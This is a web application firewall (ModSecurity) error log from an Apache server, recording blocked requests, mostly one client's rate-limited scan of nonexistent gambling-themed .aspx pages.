[Sun Feb 22 18:57:56.583709 2026] [:error] [pid 9588:tid 9639] [client 175.6.217.4:36769] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZrhNGjNBsxseiTcEllQ0QAAAE8"]
[Sun Feb 22 20:11:02.798197 2026] [:error] [pid 2762:tid 2823] [client 193.70.46.175:38120] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZryVn0XaxeZ1xx2EW9fcAAAAIU"]
[Sun Feb 22 20:11:05.204050 2026] [:error] [pid 2875:tid 2895] [client 193.70.46.175:45348] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZryWaq7FNBXTtjnNQxsKAAAANI"]
[Sun Feb 22 20:11:07.185812 2026] [:error] [pid 2761:tid 2820] [client 193.70.46.175:45350] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZryW-hqrjPiLXyA0f20AgAAAFg"]
[Sun Feb 22 20:11:09.280805 2026] [:error] [pid 2875:tid 2899] [client 193.70.46.175:45354] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZryXaq7FNBXTtjnNQxsQAAAANY"]
[Sun Feb 22 20:11:11.334146 2026] [:error] [pid 3183:tid 3208] [client 193.70.46.175:45364] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZryXx_OBrCiPf5qSt2i3gAAAQo"]
[Sun Feb 22 20:11:13.218612 2026] [:error] [pid 2762:tid 2826] [client 193.70.46.175:56808] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZryYX0XaxeZ1xx2EW9frQAAAIg"]
[Sun Feb 22 20:11:15.365822 2026] [:error] [pid 3183:tid 3212] [client 193.70.46.175:56822] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZryYx_OBrCiPf5qSt2i5gAAAQ4"]
[Sun Feb 22 20:11:17.539106 2026] [:error] [pid 2875:tid 2898] [client 193.70.46.175:56824] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZryZaq7FNBXTtjnNQxsVgAAANU"]
[Sun Feb 22 20:11:19.711824 2026] [:error] [pid 3183:tid 3220] [client 193.70.46.175:56834] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZryZx_OBrCiPf5qSt2i8AAAARY"]
[Sun Feb 22 20:11:21.745058 2026] [:error] [pid 2875:tid 2879] [client 193.70.46.175:56848] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZryaaq7FNBXTtjnNQxsZwAAAMI"]
[Sun Feb 22 20:11:23.998561 2026] [:error] [pid 3183:tid 3220] [client 193.70.46.175:38004] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZryax_OBrCiPf5qSt2i-AAAARY"]
[Sun Feb 22 20:11:26.224563 2026] [:error] [pid 2761:tid 2820] [client 193.70.46.175:38018] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZrybuhqrjPiLXyA0f20IgAAAFg"]
[Sun Feb 22 20:11:28.379716 2026] [:error] [pid 2760:tid 2772] [client 193.70.46.175:38030] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZrycL7Njw90g02i9Rl0CgAAAAg"]
[Sun Feb 22 20:11:30.429886 2026] [:error] [pid 3183:tid 3221] [client 193.70.46.175:38046] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZrych_OBrCiPf5qSt2jEwAAARc"]
[Sun Feb 22 20:11:32.403316 2026] [:error] [pid 2761:tid 2804] [client 193.70.46.175:54036] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZrydOhqrjPiLXyA0f20MAAAAEw"]
[Sun Feb 22 20:11:34.938245 2026] [:error] [pid 2762:tid 2816] [client 193.70.46.175:54046] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZrydn0XaxeZ1xx2EW9f3gAAAIM"]
[Sun Feb 22 20:11:37.203347 2026] [:error] [pid 2875:tid 2877] [client 193.70.46.175:54048] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZryeaq7FNBXTtjnNQxskgAAAMA"]
[Sun Feb 22 20:11:39.204017 2026] [:error] [pid 3183:tid 3211] [client 193.70.46.175:54052] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZryex_OBrCiPf5qSt2jLAAAAQ0"]
[Sun Feb 22 20:11:41.441786 2026] [:error] [pid 2761:tid 2819] [client 193.70.46.175:54062] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZryfehqrjPiLXyA0f20PQAAAFc"]
[Sun Feb 22 20:11:43.645641 2026] [:error] [pid 2760:tid 2782] [client 193.70.46.175:43134] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZryf77Njw90g02i9Rl0QAAAABI"]
[Sun Feb 22 20:11:45.676798 2026] [:error] [pid 2762:tid 2816] [client 193.70.46.175:43148] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZrygX0XaxeZ1xx2EW9f5gAAAIM"]
[Sun Feb 22 20:11:47.738107 2026] [:error] [pid 3183:tid 3208] [client 193.70.46.175:43150] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZrygx_OBrCiPf5qSt2jRwAAAQo"]
[Sun Feb 22 20:11:50.053749 2026] [:error] [pid 2761:tid 2814] [client 193.70.46.175:43164] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZryhuhqrjPiLXyA0f20aQAAAFM"]
[Sun Feb 22 20:11:52.142213 2026] [:error] [pid 2761:tid 2812] [client 193.70.46.175:43176] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZryiOhqrjPiLXyA0f20cAAAAFI"]
[Sun Feb 22 20:11:54.251649 2026] [:error] [pid 2875:tid 2877] [client 193.70.46.175:34996] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZryiqq7FNBXTtjnNQxsxgAAAMA"]
[Sun Feb 22 20:11:56.265156 2026] [:error] [pid 3183:tid 3221] [client 193.70.46.175:34998] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZryjB_OBrCiPf5qSt2jWAAAARc"]
[Sun Feb 22 20:11:58.419515 2026] [:error] [pid 2762:tid 2837] [client 193.70.46.175:35008] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZryjn0XaxeZ1xx2EW9gBQAAAJM"]
[Sun Feb 22 20:12:32.422332 2026] [:error] [pid 2761:tid 2793] [client 193.70.46.175:35018] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZrysOhqrjPiLXyA0f20twAAAEI"]
[Sun Feb 22 20:12:34.312367 2026] [:error] [pid 2762:tid 2842] [client 193.70.46.175:50640] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZrysn0XaxeZ1xx2EW9gVAAAAJg"]
[Sun Feb 22 20:12:36.204232 2026] [:error] [pid 3183:tid 3204] [client 193.70.46.175:50642] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZrytB_OBrCiPf5qSt2j5AAAAQY"]
[Sun Feb 22 20:12:38.159204 2026] [:error] [pid 2875:tid 2883] [client 193.70.46.175:50654] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZrytqq7FNBXTtjnNQxtFQAAAMY"]
[Sun Feb 22 20:12:39.999031 2026] [:error] [pid 2875:tid 2895] [client 193.70.46.175:50660] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZryt6q7FNBXTtjnNQxtGAAAANI"]
[Sun Feb 22 20:12:42.062913 2026] [:error] [pid 2875:tid 2884] [client 193.70.46.175:50662] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZryuqq7FNBXTtjnNQxtGwAAAMc"]
[Sun Feb 22 20:12:43.962881 2026] [:error] [pid 3183:tid 3204] [client 193.70.46.175:41910] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZryux_OBrCiPf5qSt2kBAAAAQY"]
[Sun Feb 22 20:12:45.868935 2026] [:error] [pid 2762:tid 2827] [client 193.70.46.175:41916] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZryvX0XaxeZ1xx2EW9gZQAAAIk"]
[Sun Feb 22 20:12:47.907040 2026] [:error] [pid 2761:tid 2811] [client 193.70.46.175:41930] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZryv-hqrjPiLXyA0f202QAAAFE"]
[Sun Feb 22 20:12:49.933161 2026] [:error] [pid 2762:tid 2833] [client 193.70.46.175:41946] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZrywX0XaxeZ1xx2EW9gcAAAAI8"]
[Sun Feb 22 20:12:51.839533 2026] [:error] [pid 2761:tid 2806] [client 193.70.46.175:41962] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZryw-hqrjPiLXyA0f205gAAAE4"]
[Sun Feb 22 20:12:53.844837 2026] [:error] [pid 2762:tid 2824] [client 193.70.46.175:47952] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZryxX0XaxeZ1xx2EW9gdQAAAIY"]
[Sun Feb 22 20:12:55.749841 2026] [:error] [pid 2761:tid 2801] [client 193.70.46.175:47956] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZryx-hqrjPiLXyA0f207QAAAEo"]
[Sun Feb 22 20:12:57.650882 2026] [:error] [pid 2762:tid 2810] [client 193.70.46.175:47972] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZryyX0XaxeZ1xx2EW9ggAAAAIE"]
[Sun Feb 22 20:12:59.707924 2026] [:error] [pid 2875:tid 2891] [client 193.70.46.175:47984] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZryy6q7FNBXTtjnNQxtNgAAAM4"]
[Sun Feb 22 20:13:01.532040 2026] [:error] [pid 3183:tid 3206] [client 193.70.46.175:47990] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZryzR_OBrCiPf5qSt2kIgAAAQg"]
[Sun Feb 22 20:13:03.633481 2026] [:error] [pid 2761:tid 2794] [client 193.70.46.175:59726] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZryz-hqrjPiLXyA0f21AAAAAEM"]
[Sun Feb 22 20:13:05.513241 2026] [:error] [pid 3183:tid 3211] [client 193.70.46.175:59742] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZry0R_OBrCiPf5qSt2kKQAAAQ0"]
[Sun Feb 22 20:13:07.542454 2026] [:error] [pid 2760:tid 2779] [client 193.70.46.175:59752] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZry077Njw90g02i9Rl0wgAAAA8"]
[Sun Feb 22 20:13:09.551215 2026] [:error] [pid 2762:tid 2824] [client 193.70.46.175:59766] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZry1X0XaxeZ1xx2EW9gmgAAAIY"]
[Sun Feb 22 20:13:11.589801 2026] [:error] [pid 2760:tid 2770] [client 193.70.46.175:59772] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZry177Njw90g02i9Rl0xwAAAAY"]
[Sun Feb 22 20:13:13.605601 2026] [:error] [pid 3183:tid 3205] [client 193.70.46.175:53866] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZry2R_OBrCiPf5qSt2kOwAAAQc"]
[Sun Feb 22 20:13:15.673364 2026] [:error] [pid 2761:tid 2791] [client 193.70.46.175:53880] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZry2-hqrjPiLXyA0f21CwAAAEA"]
[Sun Feb 22 20:13:17.649846 2026] [:error] [pid 2875:tid 2887] [client 193.70.46.175:53884] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZry3aq7FNBXTtjnNQxtWQAAAMo"]
[Sun Feb 22 20:13:19.524273 2026] [:error] [pid 2875:tid 2879] [client 193.70.46.175:53894] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZry36q7FNBXTtjnNQxtXgAAAMI"]
[Sun Feb 22 20:13:21.566836 2026] [:error] [pid 2761:tid 2819] [client 193.70.46.175:53896] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZry4ehqrjPiLXyA0f21HgAAAFc"]
[Sun Feb 22 20:13:23.544523 2026] [:error] [pid 2762:tid 2840] [client 193.70.46.175:39514] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZry430XaxeZ1xx2EW9guQAAAJY"]
